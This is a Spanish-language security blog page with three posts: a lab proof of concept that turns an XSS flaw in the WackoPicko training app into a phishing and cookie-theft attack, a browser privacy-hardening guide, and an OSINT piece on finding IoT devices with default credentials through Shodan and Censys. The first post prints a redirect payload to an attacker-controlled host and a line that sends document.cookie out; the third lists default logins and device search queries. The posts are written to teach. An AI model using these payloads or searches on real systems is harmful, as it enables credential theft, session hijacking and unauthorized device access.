Mostrando entradas con la etiqueta credenciales. Mostrar todas las entradas
Mostrando entradas con la etiqueta credenciales. Mostrar todas las entradas

miércoles, 6 de julio de 2016

PoC: Phishing manual explotando un XSS

Buenas compañeros,

Hace un tiempo que no he podido publicar pero uno también tiene que atender sus responsabilidades =D como se suele decir, lo bueno se hace de rogar.

En el blog ya tenemos un par de pruebas de concepto de cómo montar un phishing, ya sea SET o con el framework phishing frenzy todo empleando software especializado. En este post, se va aprovechar una vulnerabilidad de XSS para desarrollar un phishing.

Para ello, como siempre se va a emplear un escenario controlado, ya sabéis hay jugar pero sin meterse en líos. En este caso, se ha empleado la aplicación web WackoPicko, que se encuentran dentro del proyecto OWASP Broken Web APP

Se trata de la típica aplicación que nos podemos encontrar que tiene un buscador de productos. Normalmente cuando veamos algo así, nos entra mono de probar si puede ser vulnerable a un XSS o SQL Injection,pues vamos a ello!

En la barra de buscador se podría intentar incrustar código script. Como prueba de concepto para detectar si el sitio web es vulnerable se introduce el típico código:

<script>alert(“XSS”)</script>




Verificando que es vulnerable, se podría incrustar un XSS persistente, de tal manera, que un usuario legítimo de la aplicación se podría conectar o si ya estuviera autenticado (sería demasiado bueno) y se le redirige a una página idéntica en la que se le indica que se ha producido un error y se tiene que volver a loguear, es decir, implementar un phishing aprovechando una vulnerabilidad de XSS.

Entonces por partes, en primer lugar, insertarmos el código del XSS persistente:


'><script>document.location="http://172.16.1.2/login.html";</script>


A continuación el código del HTML (login.html) que se basa en copiar el código pero no nos descargamos las fuentes sino que las llamamos mediante peticiones.


De tal manera, que el usuario que se vaya al buscador, se le redirige a la página del phishing:




En el fichero HTML (login.html), se está recogiendo las fuentes de la página inicial lo cual tiene dos implicaciones, una de rendimiento que es muy óptimo la página no tarda nada en cargarse, lo cual no levanta sospechosas al usuario, mientras que la segunda desde el punto de vista de la seguridad no es adecuada hacer peticiones a los recursos de un sitio web si estás tratando de usurparlo, esta actividad levanta muchas sospechas.


Se  ha creado el fichero login.html pues ahí se encuentra cargado el servidor Apache y el intérprete de PHP.

Lo que se pretende con este phishing es dos objetivos:

- Robo de credenciales.
- Robo de cookies de usuarios autenticados.

Es posible que algún usuario se encuentra autenticado y al entrar en el buscador directamente nos podemos hacer con su cookie sin necesidad de que introduzca sus credenciales.

Para ello, se crean dos pequeños scripts:

- takelogin.php
- takecookie.php

En el panel de login, en el form se llama mediante el action POST al fichero takelogin.php





Recoge el username y password. Para que no sea visible para la víctima potencial se emplea la función header y se incluye la dirección “verdadera” para que se autentique de nuevo.

En la siguiente captura se observan las peticiones ambos scripts:


Es importante crear manualmente el fichero de texto dónde se van a guardar y sobretodo darle permisos (chmod 777 login.txt). 

Y como se ve en el fichero .txt tenemos los credenciales:


Una vez autenticado, se redirige a la página oficial indicando que los datos introducidos son incorrectos:


Para la recogida de cookies en el propio fichero de login.html se incluye el siguiente código JavaScript:

document.write("<img width='0px' height'0px' src='http://localhost/takecookie.php?cookie=" + document.cookie +  "'>");

En este se aprovecha el tag de una imagen para incluir una llamada a takecookie.php que recoge la cookie.

El código del script takelogin.php es:



Viendo el fichero de las cookies:



Con el valor de estas cookies, se intentaría usar para loguearse empleado una sesión activa de un usuario, ya sabéis empleando un proxy interceptador.

Y esto es todo, espero que os haya molado ver como aprovechando una vulnerabilidad de XSS se puede montar un phishing de manera manual. Para que luego digan que las vulnerabilidades de XSS son sólo para poner un alert o un defacement =D

Ya sabéis para cualquier ayuda, sugerencia, queja o agradecimiento ahí están los comentarios, usadlos! y estaré encantado de responderlos.

Esta entrada está destinada a fines académicos en entornos controlados sin suponer sin ningún impacto. No nos hacemos responsables de uso para otros fines.

Saludos.

La mejor defensa es un buen ataque.

NaxHack5

sábado, 30 de abril de 2016

Paranoicos (II) - Blindando nuestro navegador

Siguiendo con la serie Paranoicos, en la que explicamos cómo podemos defendernos y cuidar nuestra privacidad y anonimato en Internet, algo más que necesario hoy en día.


Antes de empezar me gustaría hacer una breve distinción entre privacidad y anonimato, ya que a menudo se considera igual y se usa erróneamente:
  • La privacidad protege nuestras acciones. Yo puedo saber que Juan navega, pero no qué hace navegando; o que Juan chatea, pero no se con quién o sobre qué.
  • El anonimato, por contraposición, protege al que realiza una acción. Yo puedo saber que alguien ha descargado mi aplicación, pero no se quién ha sido; o que alguien planea unas vacaciones, pero no se quién.
Como podemos ver la privacidad y el anonimato van de la mano, como "paranoicos" buscamos ambas cosas, pero el término cambiará dependiendo de la posición en la que estemos.


Dicho esto, comenzamos hablando sobre nuestro navegador. El navegador es el software, programa o aplicación que interpreta y nos presenta la información que los servidores web nos ofrecen, por lo tanto es necesario que este navegador esté blindado y bien configurado para que únicamente envie y reciba la información que NOSOTROS queremos. Existen varios navegadores web conocidos, pero en este post nos centraremos en Mozilla Firefox (o sus variantes), ya que permite una configuración casi completa, además de la posibilidad de incluir complementos. Otra de las razones por las que nos centramos en Firefox es que se trata de Software Libre, con lo que podemos saber perfectamente lo que hace el navegador realmente.

Cookies

A esta altura supongo que todos sabemos lo que son las cookies, aunque sea por tener que aceptarlas cada vez que entramos en una página web para dejar de ver el incómodo banner (eso si o la aceptas o nada). Las cookies son pequeños archivos que contienen información sobre nuestra actividad y es almacenada en nuestro navegador por parte de la página web que visitamos.

Las cookies ofrecen ventajas, pero también pueden tener implicaciones en la privacidad y anonimato de nuestra navegación. A menudo las cookies que almacenamos ni siquiera son del sitio web que visitamos, sino de terceros, como pueden ser cookies almacenadas por Google Analytics, compañias publicitarias, redes sociales como Facebook o Twitter, etc.

Tener un control sobre las cookies es fundamental para preservar nuestra privacidad y anonimato y dar únicamente la información que queremos dar, sin extras. Para ello en la configuración de nuestro navegador podemos gestionarlas, eliminarlas y configurarlas.

Una buena práctica puede ser nunca aceptar cookies de terceros, además de almacenar sólo las cookies que conocemos y queremos almacenar, debido a que no es práctico hacerlo manualmente, usaremos plugins o complementos que veremos posteriormente.

Historial de navegación

Algo muy importante para preservar nuestra privacidad es mantener limpio y privado el historial de navegación. Una buena práctica es desactivarlo o bien programar borrados cada vez que se cierre el navegador.

Es conveniente para no dejar rastro en nuestro equipo (sólo nuestro equipo) usar el modo incógnito que ya viene en la mayoría de navegadores. Este modo permite navegar sin almacenar historial, cookies, caché, etc. Es estrictamente necesario usarlo siempre que estemos en ordenadores que no nos pertenecen, así evitamos dejar rastro en los mismos, por ejemplo usando el ordenador de tu instituto o trabajo, si es compartido.

Complementos

Como mencioné anteriormente, el mayor potencial de Firefox son sus complementos, que nos permiten personalizar nuestro navegador adaptándolo a nuestras necesidades. Destacamos los complementos:
  • HTTPS Everywhere: fuerza la conexión cifrada a páginas web por HTTPS, además permite bloquear el tráfico a toda conexión no cifrada.
  • NoScript: bloquea todo script encontrado en la web (JavaScript, Java, Flash...) que pueden ejecutar código remoto y vulnerar nuestra máquina, además de obtener información tal como nuestra dirección IP detrás del proxy. Muy interesante pero a la vez poco práctico, ya que la mayor parte de páginas web actualmente trabajan con este tipo de scripts, si lo tenemos funcionando algunas páginas podrían dejar de funcionar correctamente, perder algunas funcionalidades o incluso no funcionar en absoluto. Es posible usarlo e ir desactivándolo temporalmente cuando sea necesario, pero esto hace una navegación incómoda y lenta. Sacrificamos comodidad por privacidad.
  • JSLibre: bloquea código JavaScript no libre y permite el código en caso de ser libre. Al igual que NoScript, su uso en la práctica hace que la mayor parte de páginas no funcionen correctamente.
  • Self-destructing Cookies: execente complemento para gestionar nuestras cookies. Permite configurarlo de forma que elimine las cookies una vez cerrado una pestaña o el navegador. Además cuenta con un sistema de listas blancas para poder configurar qué cookies queremos que se almacenen y cuales deben ir eleminándose conforme navegamos.
  • HTML5 Video Everywhere!: fuerza a los reproductores a ser sustituidos por el reproductor nativo de Firefox siempre que sea posible. Actualmente es compatible con Youtube, Facebook, Vimeo, Dailymotion, etc.
Además es aconsejable el uso de complementos o aplicaciones de bloqueo de publicidad, ya que a menudo la publicidad es intrusiva y puede tener consecuencias negativas en nuestra privacidad y anonimato.

Esto complementos son, humilde y personalmente los que yo conozco y uso para mejorar mi privacidad y anonimato en Internet, existen muchos más y muchas alternativas a los mismos, siéntete libre de usarlos o no usarlos, y compartir los que uses para el bien de todos. 

El proyecto Tor ofrece su propia versión del navegador Firefox ya configurada y preparada para navegar anónimamente, con complementos como HTTPS Everywhere o NoScript implementados por defecto, además de la navegación a través de Tor preparada.





miércoles, 27 de abril de 2016

OSINT Parte III - La (in)seguridad del IoT

Buenas,

Esta entrada es la tercera y última para completar el capítulo de OSINT. En este post se va a comentar los buscadores de dispositivos conectados a Internet y cómo pueden ser accedidos de forma remota a través de Internet. Este auge de los dispositivos "inteligentes" es el llamado "Internet de las Cosas" (IoT), que está muy relacionado con los buscadores como Shodan o Censys.

Shodan es un buscador, pero no es un buscador como Google o Bing. Es un buscador diferente, está pensado para encontrar  dispositivos conectados a Internet. Descubre y obtiene información de unos 500 millones de dispositivos conectados a Internet cada mes. Desde cámaras de seguridad, aires acondicionados, frigoríficos, smartTV,... pasando por puertas de cocheras, sistemas VoIP, sistemas de calefacción,…





Simplemente por el hecho estar estos dispositivos conectados a Internet ya es un riesgo, pues pueden ser controlados mediante acceso remoto. Estas configuraciones erróneas pueden ser una null session, es decir, no requieren ninguna autenticación o a través de un nombre de usuario y una contraseña. Sin embargo, en la mayoría de casos dichas credenciales son la de por defecto, siendo fáciles de encontrar en el manual del fabricante.

Shodan permite realizar diferentes tipos de búsquedas en función de los inputs introducidos: IP, localización geográfica, puertos, contraseñas por defecto, protocolo,...

Probando por usuario y contraseña por defecto, se encuentran 13.121 resultados con:

Nombre de usuario: admin
Contraseña: 1234





En la parte izquierda se pueden ver los servicios y los países donde se han encontrados dispositivos, máquinas, cámara de vídeo-vigilancia sistemas de entornos industriales conectados a Internet que bien pueden ser consultados o ser controlados por acceso remoto.

En este ejemplo, en el primer puesto está el servicio HTTP y el país top es Taiwan con 1.974 dispositivos.

Si se prueba el acceso a uno de los dispositivos encontrados:



Por lo que introduciendo los credenciales por defecto que se han visto, se podría obtener acceso.

Es importante resaltar que está información es pública y conocida, sin embargo, si se considera un delito acceder a dichos servicios si para ello se requiere saltarse una medida de protección, como puede ser un panel de login.

Del mismo Shodan también permite búsquedas de cámaras de video-vigilancia desde las típicas de un aparcamiento de un centro comercial hasta las de las tiendas de alimentación. Sin embargo, la mayoría si requieren de username y password.

Por ejemplo para buscar cámaras de vídeo en España sería:

Server: SQ-WEBCAM country:es






Permitir el acceso remotamente es una ventaja para la persona encargada de su funcionamiento. Sin embargo, esta ventaja es peligrosa debido al uso de una autenticación por defecto que bien se puede sacar del manual del fabricante o son las típicas de “admin” “admin” o “admin”1234. 




Es necesario revisar estos procedimientos de autenticación para evitar un acceso no permitido, en especial cambiar las contraseñas por defecto.

Además de Shodan, también existe Censys. Censys recopila data en los servidores y sitios web diariamente, escaneando todo el espectro de direcciones IPv4 y cada vez más IPv6.




Normalmente una búsqueda muy recurrida son los servidores FTP. Es un problema conocido la existencia de servidores FTP en los que no es necesario loguearse, por lo tanto, introduciendo las keywords: FTP "anonymous access allowed" se tiene:




Haciendo clic en él incluso se puede obtener su localización geográfica:



El propio banner nos indica que se encuentra activo en este momento.

Otras búsquedas más modernas en relación al IoT son las casas domóticas, que posibilitan el acceso a los servidores de control de tal manera que se pueden controlar las luces, puerta del garaje, cortinas, cámaras, alarma,...Es realmente sencillo encontrar sus credenciales por defecto en el manual de usuario y por lo tanto, lograr su acceso si no se han cambiado.




En conclusión, hay que tener en cuenta que el acceso a los dispositivos, servidores, cámaras,...se implementa con objeto de proporcionar usabilidad a los usuarios, sin embargo, es necesario tener presente las amenazas que esto incorpora. 

No nos sirve de nada que un técnico desde su casa se conecte para controlar unos servicios si para ello, no necesita autenticación o si está es por defecto, empleando los credenciales que son fácilmente deducible. Por ejemplo, si un ciberdelincuente logra acceder a la cámara de vigilancia de una tienda y la puede girar apuntando la techo con objeto de realizar un robo físico y no sean grabados.

Hay que recordar que esta entrada sólo pretende, mediante fines educativos indicar los dispositivos que pueden ser accedidos remotamente, en muchos casos, gracias a la información pública, que se encuentra en Internet. Por lo tanto, se indica específicamente que no se debe acceder ( o intentar loguearse) contra dispositivos sin tener autorización.

Saludos.

NaxHack5

"La mejor defensa es un buen ataque"

Google Analytics